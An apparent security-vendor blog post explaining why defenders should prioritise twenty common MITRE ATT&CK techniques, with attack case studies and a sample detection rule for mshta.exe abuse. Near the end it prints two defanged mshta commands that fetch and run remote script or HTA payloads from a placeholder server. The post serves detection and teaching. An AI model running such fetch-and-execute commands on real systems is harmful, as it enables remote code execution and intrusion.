Practical MITRE ATT&CK Coverage Part II: Top 20 Focus
This post was last updated on October 6th, 2021 at 03:58 pm
Last week we introduced the list of Top 20 MITRE ATT&CK techniques and behaviors to monitor. The response has been highly positive as there is general recognition that many people wrongly look at ATT&CK as a checklist or a bingo card to be filled. Such an approach is incredibly wasteful and doesn’t reflect what MITRE intended when they created ATT&CK.
One of the questions we received was “Why 20?” Why not 10, 25, or 30? A relevant question–one that I am sure people asked about the OWASP Top 20 Vulnerabilities. Before coming up with this list, we knew anecdotally that it wasn’t necessary to monitor all MITRE techniques. We also knew it wasn’t enough to just look at things like PowerShell and process creations; plenty of attacks don’t use any of those. The ultimate goal was to determine which of the hundreds of techniques to concentrate on and how many we would need to cover to have visibility and detection potential on all modern attacks, even if they used an unknown zero-day. Luckily, many of today’s threat and forensic reports now come with MITRE mappings and several vendors put out reports on the common MITRE techniques they are seeing which made this possible.
Firstly, the Top 20 is open to change as threats change or new techniques are discovered, so it’s not a static list. The initial number we arrived at was actually closer to around 18 +/- 2 that we felt were absolutely critical to monitor. The number grew to 20 with some debate and aided by the familiarity the security community already has around the OWASP Top 20 and its alignment of intentions to that frame of mind. In our research, these is sufficient cross section of techniques to see all the modern attacks that have been reported on over the last few years but not so many that there is redundant effort or diminishing returns from high cost, low value or noisy analytics.
The first 10 most common (as indicated by our data and a few other reports) was a “decent” list: Suspicious PowerShell commands, Credential Dumping, Registry Run Keys, Process Injection, and Scheduled Tasks / Cron. But even with a top 10 we had some attacks that could silently sneak through if those 10 were the only techniques being monitored. For instance, looking past the recent coverage of Hafnium, WebShells are not actually that popular comparatively to other vectors, but represent a major threat that doesn’t necessarily require the top 10 most common techniques to exploit. Such a list wouldn’t be very useful as a baseline if there were a large number of attacks that would be invisible to defenders.
Like I mentioned previously, it is worth reiterating that the Top 20 Most Common Adversary Techniques are open to change as threats change or new techniques are discovered, so it’s not a static list.
Real World Examples:
OceanLotus’ KerrDown is an example using DLL Sideloading and shellcode — a relatively difficult thing to monitor for using behavioral monitoring techniques. But as we can see, the chain leads to something we’re familiar with: Cobalt Strike beacons loaded in memory (ATT&CK T1055). Even if you have a hard time seeing one of the prominent features of an attack, it’s important to look at the kill chain to determine your ability to see such an attack. Many novel techniques are used to jam Cobalt Strike into memory or launch a flurry of PowerShell commands using stolen credentials.
We searched hard for an example of an attack that wouldn’t be visible by monitoring solely for top 20 techniques. A close example was when MAZE first arrived on the scene — it was initially using some very targeted techniques with minimal impact. Instead of stealing valid credentials and “living off the land” as many modern attackers do, it would get delivered via an exploit kit against an RDP or Citrix vulnerability, execute a binary and start encrypting that vulnerable system. This report from Palo Alto’s Unit 42 shows a remarkably small cross section of techniques. Outside a big Microsoft vulnerability, the impact of these tight attack patterns is usually fairly small and primarily impacts vulnerable machines with exposed vulnerabilities. Still, even these early attacks leveraged suspicious connections to remote services (T1021) and used calls to wmic.exe to Disable Security Tools (T1089), so it wasn’t invisible to the top 20 approach.
As MAZE progressed and evolved, it added additional post-compromise propagation techniques to maximize impact. Maze now dumps credentials or steals admin tokens to propagate laterally. It leans heavily on distributed Cobalt Strike beacons, PowerShell, etc. We see this time and again, avoiding all top 20 techniques is extremely difficult and, when possible, forces the actors to minimize their impact and therefore the risks associated with the attack.
But would 21 be better than 20?
Maybe. If you have unlimited resources. The question to ask is: do I have visibility on every attack while monitoring the 20 that you would with 21? The answer so far has been yes… and you’ll spent less money doing it. That’s where we want to encourage security teams to draw the line.
Take a look at this chart comparing SentinelOne, Carbon Black, Crowdstrike and Microsoft ATP Endpoint and their coverage of techniques used during the 2020 MITRE APT29 test. SentinelOne claims to have 2x more technique characterizations and 5x more than Microsoft ATP. Yet all four solutions detected the APT29 attack at multiple stages, even Microsoft. Nobody should look at a coverage comparison like this and conclude that SentinelOne is 2-5x more effective as a solution versus their competitors based on this metric alone.
There are hundreds of techniques and growing within MITRE ATT&CK and its not just implementing visibility or writing analytics against them, it’s also training people to interpret those behaviors and discern legitimate uses. Behavior-based hunting has historically been a high-skill, advanced technique used by elite threat hunters and DFIR analysts. One reason making it harder is because every technique listed is also a feature that can be used legitimately. If it wasn’t a feature with legitimate uses, the technique would just be called a vulnerability and be removed from the application in question. Determining when a feature is being used legitimately versus maliciously is the difference between visibility and detection and requires well trained and experienced analysts to do effectively. The more techniques that are added, the harder it is to teach and expect effective triage from less experienced team members.
Teaching the 20 most common techniques is a good way to package this, make it manageable, and should suffice for front line analysts, ultimately making behavioral monitoring more approachable for organizations of every size.
Example Behavior Analytic:
- name: Mshta Download and Proxy Execution description: Detects use of Mshta download and execution from the internet (ATT&CK T1218.005 - Execution/Evasion - Signed Binary Proxy Execution) severity: Medium author: Infocyte, Inc. rule: | hostOs == "windows" && type == "process" && processName == regex("^mshta\.exe") && commandLine == regex("(http|\.com\\)") && commandLine == regex("\.(shellexecute|exec|run)\(") actions: alert: true
The above is an Infocyte rule designed to identify the malicious use of mshta.exe, which has seen increasing use as a Signed Binary Proxy Execution sub-technique (T1218). Signed Binary Proxy Execution as a whole comes in at number nine on our Top 20 most common techniques. Regardless, unless you’ve seen this technique in the wild during an incident, it’s probably fair to say you’ve never heard of mshta.exe, know why it exists, or know when it’s malicious or legitimate.
For background, Mshta.exe is a built-in Windows utility that executes Microsoft HTML Applications (HTA) files. Files may be executed by mshta.exe through an inline script or HTA file. It’s actually used quite a bit by a lot of business software so a generic trigger would be very noisy and every time you see it, it would require some discernment:
Examples of suspicious mshta use:
Execute Inline Script Command: mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")")) Execute HTA From Web Command: mshta http[:]//webserver/payload[.]hta
The analytic above will match against the use of mshta.exe like these two examples, and seeing this form should cause alarm since it is rarely used like this in most environments outside of attacks. Of course, mshta can also execute HTA files directly from disk and this is common in business software that uses the browser. We wouldn’t want to directly alert on the use of mshta in those cases, and will require deeper script analysis when referenced which is why the alerting analytic above concentrates on the more suspicious web-based HTA files or scripts.
In closing, understanding when you need to look deeper at such an event requires experience and knowledge. As an experienced threat hunter, if I consider what I’d cover if teaching a behavior monitoring techniques course, I certainly wouldn’t start with obscure techniques that will rarely be seen. For effective, scalable behavioral analytics and monitoring, concentrate on the top 20.